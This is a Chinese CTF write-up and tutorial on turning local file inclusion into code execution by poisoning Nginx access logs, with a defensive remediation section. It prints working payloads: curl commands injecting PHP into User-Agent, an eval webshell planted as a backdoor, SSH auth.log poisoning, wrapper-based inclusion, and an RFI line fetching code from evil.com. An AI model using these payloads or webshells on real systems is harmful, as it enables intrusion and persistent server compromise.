从一道 CTFshow 题目讲透「日志投毒型 LFI → RCE」:原理、时序陷阱与全变种攻防手册
摘要 :本文以 CTFshow 「日志文件包含 | 日志注入」一题(
CTF{php_access_l0g_lf1_is_fun})为切入点,完整还原「通过 User-Agent 向 Nginx access.log 投毒,再利用 LFI 包含执行」的攻击链。重点解答三个高频疑问:① 为什么必须发两次请求;② 为什么用 Intruder fuzz 打不通而 Repeater 可以;③ 遇到变种(换中间件、换日志、换语言、换载体)时如何系统性地举一反三。最后给出一套通用的 LFI → RCE 决策树与防守侧修复方案。关键词 :LFI、日志注入、Log Poisoning、LFI to RCE、二阶漏洞、CTFshow、文件包含
标签 :
Web安全CTF文件包含RCE渗透测试
一、题目初探:先分清 LFI 还是 RFI
题目只有一个输入框 Enter file path:,后端等价于:
php
<?php
// index.php(简化版)
if (isset($_POST['file'])) {
include($_POST['file']); // 完全可控,无任何过滤
}
?>
第一步永远是定性 :输入一个已知存在的系统文件 /etc/passwd。
- 能读出内容 → 说明路径参数被真实
include/require了,且是 LFI(本地文件包含); - 若能
include('http://evil.com/shell.txt')并执行 → 那是 RFI(远程文件包含) ,需要allow_url_include=On,现代环境基本绝迹。
本题 /etc/passwd 可读,判定为 LFI。
LFI 与 RFI 的区别一句话 :LFI 只能包含服务器本地已存在的文件(所以必须"找一台能写内容进去的本地文件"),RFI 可以直接拉远程恶意文件。RFI 少了"写入"这一步,LFI 则必须解决"往本地哪个文件里写我的 PHP 代码"这个核心问题。
二、核心思路:LFI 想 RCE,必须找到「可控内容 + 可解析」的交点
include() 有三个决定性的特性,这道题全押在这三点上:
- 参数完全可控 ------ 想包含谁就包含谁;
- 被包含文件会被当作 PHP 解析 ------ 哪怕后缀是
.log、.txt、.jpg,只要里面出现了<?php ... ?>,标签内就会被执行,标签外原样输出; - 文件内容不必由你直接上传 ------ 只要能找到"文件内容里会记录我的输入"的本地文件即可。
第 3 条就是本题的破局点:Web 服务器的访问日志会原样记录请求里的 User-Agent。
于是攻击链成立:
我能控制的输入(UA)
↓ 被 nginx 原样写入
/var/log/nginx/access.log
↓ 被 include() 当作 PHP 解析
执行 system('cat /var/www/html/flag.php')
三、完整复现
3.1 尝试 /proc/self/environ(失败)
先试最常见的 /proc/self/environ(它记录了当前进程的环境变量,其中 HTTP_USER_AGENT 会带上我们的输入):
POST file=/proc/self/environ
返回 permission denied ------ 说明 PHP-FPM worker 用户对该文件无读权限(或受 open_basedir 限制)。这条路堵死,换日志文件。
3.2 确认日志文件可读
POST file=/var/log/nginx/access.log
返回了一堆访问记录 → 路径正确、且 www-data 有读权限。这一步必须单独确认,不然后面全是盲打。
不同环境常见路径:
- Nginx:
/var/log/nginx/access.log、/var/log/nginx/error.log- Apache:
/var/log/apache2/access.log、/var/log/apache/access_log、/var/log/httpd/access_log- 实在找不到:用
php://filter读一份应用源码或/etc/nginx/sites-enabled/default里的access_log配置项。
3.3 投毒 + 触发(两条命令)
bash
# ① 投毒:把 PHP 代码塞进 UA,让它落进日志
curl -k -A "<?php system('cat /var/www/html/flag.php');?>" \
"https://target.challenge.ctf.show/"
# ② 触发:包含日志,代码被执行
curl -k -d "file=/var/log/nginx/access.log" \
"https://target.challenge.ctf.show/"
第 ② 条命令的响应里就能看到:
CTF{php_access_l0g_lf1_is_fun}
Burp 里对应的"触发包"长这样:
http
POST / HTTP/1.1
Host: 212ec292-5805-4066-b608-a4a4da359f8c.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: <?php system('cat /var/www/html/flag.php');?>
Content-Length: 38
file=%2Fvar%2Flog%2Fnginx%2Faccess.log
注意 UA 是明文的 ,没有被写成
%3C%3Fphp...。这是成败关键(见第五节排错)。
四、灵魂拷问:为什么必须两次请求?
这是本题最容易被绕晕的地方:我明明在一个包里既改了 UA、又让 file 指向了日志,为什么第一次只有日志、第二次才出 flag?
答案藏在 Nginx 的请求生命周期里。Nginx 把一次请求划分为若干阶段(phase),关键的两个是:
POST_READ → SERVER_REWRITE → FIND_CONFIG → REWRITE → POST_REWRITE
→ PREACCESS → ACCESS → POST_ACCESS → PRECONTENT
→ CONTENT ← ★ PHP-FPM 在这里执行 include()
→ LOG ← ★ access.log 在这里才落盘
画成时序图:
=== 请求 #1(UA 带毒 + file=access.log)===
t0 请求到达
t1 CONTENT 阶段:PHP 执行 include('/var/log/nginx/access.log')
此刻日志里只有「#1 之前」的记录 ------ 没有你这次的 UA
t2 响应返回 → 你看到的是一堆纯文本,没有 PHP 标签 → 无 flag
t3 LOG 阶段:nginx 写入 #1 的日志行
... "<?php system('cat /var/www/html/flag.php');?>" ← 现在才落盘
=== 请求 #2(同样的包)===
t4 CONTENT 阶段:include 日志
这次日志里已经有 #1 那行了,里面有 <?php ... ?>
t5 PHP 解析:标签外当文本输出,标签内当代码执行
→ system('cat /var/www/html/flag.php') 运行
t6 响应返回:日志文本 + flag ✅
核心结论:
Nginx 的 access log 写入发生在 LOG 阶段 ,即响应发回客户端之后 ;而
include()执行发生在 CONTENT 阶段 ,即请求处理之中 。存在不可跨越的时序差,因此任何一次请求都读不到自己这一次的日志行,只能读到上一次的。
两个可以立刻自证的实验
- 看第一次响应的最后一行 ------ 它是你上一个请求,不是当前这个。第一次响应里搜
<?php system搜不到,第二次能搜到。 - 把 UA 改回正常浏览器 UA,再发第三次 ------ flag 照样出 。因为毒已经持久化在日志文件里了,后续任何一次
include都会执行它,直到日志被轮转(logrotate)或清空。
它到底是什么类型的漏洞?
| 层次 | 中文 | 英文 / 行话 | CWE |
|---|---|---|---|
| 漏洞本体 | 本地文件包含 | LFI (Local File Inclusion) | CWE-98 |
| 利用技巧 | 日志文件包含 | Log File Inclusion | --- |
| 写入手法 | 日志注入 / 日志投毒 | Log Injection / Log Poisoning | CWE-117 |
| 漏洞性质 | 二阶(存储型)漏洞 | Second-Order / Stored | CWE-94 |
| 最终效果 | 文件包含导致代码执行 | LFI to RCE | --- |
二阶 是理解它的钥匙:payload 先持久化,再被另一个请求触发执行 。这和存储型 XSS 是完全相同的思维模型------你不可能在"提交评论"的那一个请求里看到弹窗。
五、排错清单:为什么我用 Intruder fuzz 打不通?
这是实操中最常踩的坑,按出现概率排序:
① Burp Intruder 默认会对 payload 做 URL 编码(最常见)
Intruder 有全局的 URL 编码设置(Intruder → URL-encode these characters)以及 Payload Processing 里的 URL-encode key characters 规则。你写的:
<?php system('cat /var/www/html/flag.php');?>
实际发出去可能变成:
%3C%3Fphp+system%28%27cat+/var/www/html/flag.php%27%29%3B%3F%3E
nginx 会原样 把这串编码后的东西记进日志,include() 后它就是普通文本,不会执行。
而 Repeater 不对你的输入做任何编码,怎么敲就怎么发 ------ 这就是"重放能行、fuzz 不行"的根本原因。
修复:Intruder → Payloads → Payload Processing 删除 URL-encode 规则;并清空 Intruder 设置里的 "URL-encode these characters"。
② 字符被转义导致语法错误
Nginx 日志默认 escape=default,只会转义 "、反斜杠和不可打印字符(转成 \x22、\x0A 等)。因此:
- ✅ 用单引号 :
system('cat /flag') - ❌ 用双引号:
system("cat /flag")→ 会变成system(\x22cat /flag\x22)→ 语法错误 - 尖括号
<>不会被转义 ,所以<?php ?>能原样进日志
如果你遇到的是 escape=json(< 变成 \u003c),日志投毒这条路基本失效,直接换思路(见第七节)。
③ 请求根本没到服务器
点了 Drop 而不是 Forward,或者 Intercept 一直开着导致后续请求被拦住改回原样。投毒请求必须真正送达才会落盘。
④ payload 打错了位置
如果 fuzz 的是 file= 参数,那 UA 里的 PHP 只是"顺带"发出去的载荷。正确顺序是:先 Repeater 发一次带毒 UA(file 参数随便填)→ 再对包含请求 fuzz。
⑤ 日志路径或权限不对
不同镜像、不同中间件路径不同;www-data 也不一定对日志有读权限。先用 file=<候选路径> 单独验证一次再投毒。
排错万能法
先 include 一次日志看原始内容:
- 看到
<?php system('cat ...');?>明文 → 写入成功,问题在 flag 路径或命令; - 看到
%3C%3Fphp+system...→ 确认是 URL 编码问题; - 根本看不到那条请求 → 请求没发出去,或日志路径不对。
六、从 RCE 到 GetShell:顺手留个后门
既然代码已经能执行,就别只满足于 cat 一个文件。把投毒的 UA 换成写马:
php
<?php file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[1]);?>');?>
然后包含一次日志触发它,之后直接用蚁剑/冰蝎连 https://target/shell.php,密码 1。
写马时同样注意:外层用单引号包住内层字符串 ,避免双引号被转义。也可以先
base64编码内层再file_put_contents(..., base64_decode('...')),更稳。
七、举一反三:变种矩阵与通用决策树
真正有价值的问题是:换个环境、换个中间件、换个语言,我还能认出它吗?
7.1 变体一:换「写入点」(哪个字段会被记录)
只要是被写进日志的请求字段,都可以当投毒入口:
| 写入点 | 示例 | 备注 |
|---|---|---|
| User-Agent | User-Agent: <?php ... ?> |
最常用,几乎所有日志格式都记录 |
| Referer | Referer: <?php ... ?> |
UA 被过滤时的首选替代 |
| X-Forwarded-For | X-Forwarded-For: <?php ... ?> |
需日志格式显式记录该头 |
| Cookie | Cookie: sess=<?php ... ?> |
部分日志格式会记录 |
| 请求行(URL) | GET /<?php system('id');?> HTTP/1.1 |
万能兜底,请求行必然被记录,且不受 UA 过滤影响 |
| 请求体 | 部分 error.log 会回显 | 较少见 |
重试口诀:UA → Referer → 请求行 。请求行是永远不会被 WAF 完全拦掉的兜底通道(但可能被 URL 编码,注意
?#空格)。
7.2 变体二:换「日志文件」(还能往哪儿写)
| 服务 | 日志文件 | 投毒方式 |
|---|---|---|
| Nginx | /var/log/nginx/access.log、error.log |
UA / 请求行;error.log 可用"访问不存在路径"触发 404 记录 |
| Apache | /var/log/apache2/access.log、/var/log/httpd/access_log |
同上 |
| SSH | /var/log/auth.log |
ssh '<?php system($_GET[0]);?>'@target → 记录 Invalid user <?php...>(HTB 经典考点) |
/var/log/mail.log |
用恶意用户名登录 SMTP/POP3 | |
| FTP | /var/log/vsftpd.log |
用恶意用户名登录 |
| MySQL | 部分错误日志 | 恶意用户名/语句 |
| 应用自身日志 | Laravel、ThinkPHP、Spring Boot 的 *.log |
记录异常参数、UA、用户名等 |
SSH 日志投毒示例(非常经典的变种):
bash
ssh '<?php system($_GET[0]);?>'@10.10.10.10
# 然后
curl 'http://target/?file=/var/log/auth.log&0=id'
7.3 变体三:换「包含载体」(不用日志怎么 RCE)
日志只是"可写内容的本地文件"之一。LFI → RCE 的完整武器库:
| 手法 | 条件 | 说明 |
|---|---|---|
| 日志投毒 | 日志可读 | 本文主角 |
| Session 文件包含 | 有 session_start() 且 session 值可控 |
文件路径 /var/lib/php/sessions/sess_<PHPSESSID> 或 /tmp/sess_<id>;把 <?php ...?> 写进某个 session 键值 |
/proc/self/environ |
PHP-FPM 与文件同用户、无 open_basedir |
本题被拒但很多机器可用 |
/proc/self/fd/N |
结合上传/临时文件 | 高级技巧 |
| 上传临时文件竞争 | 有文件上传 | 上传大文件,用 phpinfo() 页面泄露 /tmp/phpXXXXXX,在删除前抢先包含 |
| 图片马 + 上传 | 上传点不重命名/可预测路径 | 最直接 |
php://input |
allow_url_include=On |
file=php://input + 请求体里另一个参数放 PHP 代码,单次请求即可 RCE |
data:// |
allow_url_include=On |
file=data://text/plain;base64,PD9waHA... |
php://filter |
只读不执行 | 用来读源码 :php://filter/convert.base64-encode/resource=index.php |
| pearcmd.php | register_argc_argv=On 且装了 PEAR |
可写文件 getshell,近年多场比赛考点 |
7.4 变体四:换语言 / 中间件
| 环境 | 对应玩法 |
|---|---|
| Tomcat / JSP | localhost_access_log 记录 UA → 配合 JSP 文件包含执行;或直接写 JSP 马 |
| Java Spring | 日志投毒本身不能执行(没有"把日志当 JSP"的入口),需配合模板注入 、日志回显 + SSTI、或 log4j 类漏洞 |
| Node.js | 需存在 res.render() 动态模板路径可控,或日志文件被 require() |
| .NET / IIS | IIS 日志(%SystemDrive%\inetpub\logs\LogFiles)+ 文件包含类漏洞;或写 .aspx 马 |
判断标准不在语言,而在于 :是否存在一个「把文件内容当作代码来解析执行 」的入口。PHP 的 include 是最典型、门槛最低的一个。
7.5 通用决策树(背下来,遇到任何 LFI 照着走)
发现参数可控的包含点
│
├─ ① 读 /etc/passwd 确认是 LFI(不是则查 RFI / 模板注入)
│
├─ ② 有源码?→ php://filter 读 index.php 审计,直接看过滤逻辑
│
├─ ③ 找「可控内容 + 可解析」的落点,按优先级试:
│ A. 有上传点吗? → 图片马 / 临时文件竞争
│ B. Session 值可控吗? → Session 文件包含
│ C. 日志可读吗? → 日志投毒(UA → Referer → 请求行)
│ D. /proc/self/environ → UA 投毒(单次即可)
│ E. allow_url_include? → php://input / data://(单次即可)
│ F. pearcmd / 已有可写文件 → 写马 getshell
│
├─ ④ 打不通?查三件事:
│ · open_basedir 限制?
│ · disable_functions 禁了 system/exec?→ 换 passthru/popen/反引号/readfile
│ · 目标文件权限?→ 换路径、换用户可读的日志
│
└─ ⑤ 通了 → 写马 getshell / 直接读 flag
三个必问自己的问题:
- 有没有"我说了算的内容"能落到服务器本地文件里?(日志、session、临时文件、上传)
- 有没有上层会把它当代码解析? (
include、require、模板引擎、JSP) - 权限够不够? (读权限、
open_basedir、disable_functions)
只要 1 和 2 同时成立,LFI 就一定能变 RCE。日志投毒只是第 1 条的一种实现方式。
八、防守方视角:怎么修
| 层面 | 措施 |
|---|---|
| 代码层(根治) | 绝不把用户输入直接传给 include/require;改用白名单映射 :$map = ['home'=>'/tpl/home.php']; include($map[$_GET['p']] ?? $map['home']); |
| PHP 配置 | open_basedir 限定目录;disable_functions 禁用 system/exec/passthru/shell_exec/proc_open;allow_url_include=Off |
| 日志权限 | 日志目录属主 root:adm、权限 640,禁止 www-data 读取(这题立刻失效) |
| 日志内容 | 自定义 log_format 不记录 UA;或开启 escape=json 并转义特殊字符 |
| 运行用户 | PHP-FPM 与 nginx 分用户,且不给 shell |
| WAF/监控 | 拦截 UA/Referer/URL 中出现 <?php、<?=、base64_decode、system( 的请求;对日志中出现 PHP 标签做告警 |
| 运维 | 定期 logrotate;容器化把日志挂到不可被 Web 用户访问的位置 |
一个容易被忽略的点:日志投毒之所以能成功,本质是因为"Web 进程既能写日志又能读日志",还"能把日志当代码跑"。切断任意一环即可防御。
九、总结与记忆口诀
- LFI 变 RCE 的本质 :找到一个"内容我可控"的本地文件,再让
include()把它当 PHP 执行。 - 日志投毒 = 二阶漏洞 :先写(投毒请求落盘)后读(包含请求执行),时序上必须分两次请求。
- 时序根源 :Nginx 的 LOG 阶段在 CONTENT 阶段之后;
include()跑在 CONTENT 阶段,读不到自己这一次。 - Intruder 打不通 多半是 payload 被 URL 编码;Repeater 不编码所以能成。
- 单引号、别用双引号 ------nginx 会转义
"成\x22。 - 变种万变不离其宗 :换写入点(UA/Referer/请求行/XFF)、换日志(nginx/apache/auth.log/mail.log)、换载体(session/临时文件/伪协议/pearcmd)、换语言(JSP/模板引擎)------认准"可控内容 + 可解析入口"这对交点即可。
一句话给面试官/答辩用:"这是利用 Nginx 日志投毒(CWE-117)配合本地文件包含(CWE-98)实现的二阶代码执行(CWE-94),属于 LFI to RCE。由于 Nginx 在 LOG 阶段才写 access.log,而 include 在 CONTENT 阶段执行,因此载荷需经一次持久化后再由后续请求触发。"
附录:本文 Flag 与环境
- 题目:CTFshow 文件包含(日志注入)
- Flag:
CTF{php_access_l0g_lf1_is_fun} - 关键路径:
/var/log/nginx/access.log、/var/www/html/flag.php
参考资料
- CWE-98:Improper Control of Filename for Include/Require Statement in PHP Program
- CWE-117:Improper Output Neutralization for Logs
- CWE-94:Improper Control of Generation of Code (Code Injection)
- OWASP Top 10 2021 --- A03: Injection
- Nginx 官方文档:HTTP 请求处理阶段(Phase)与
log_format/escape参数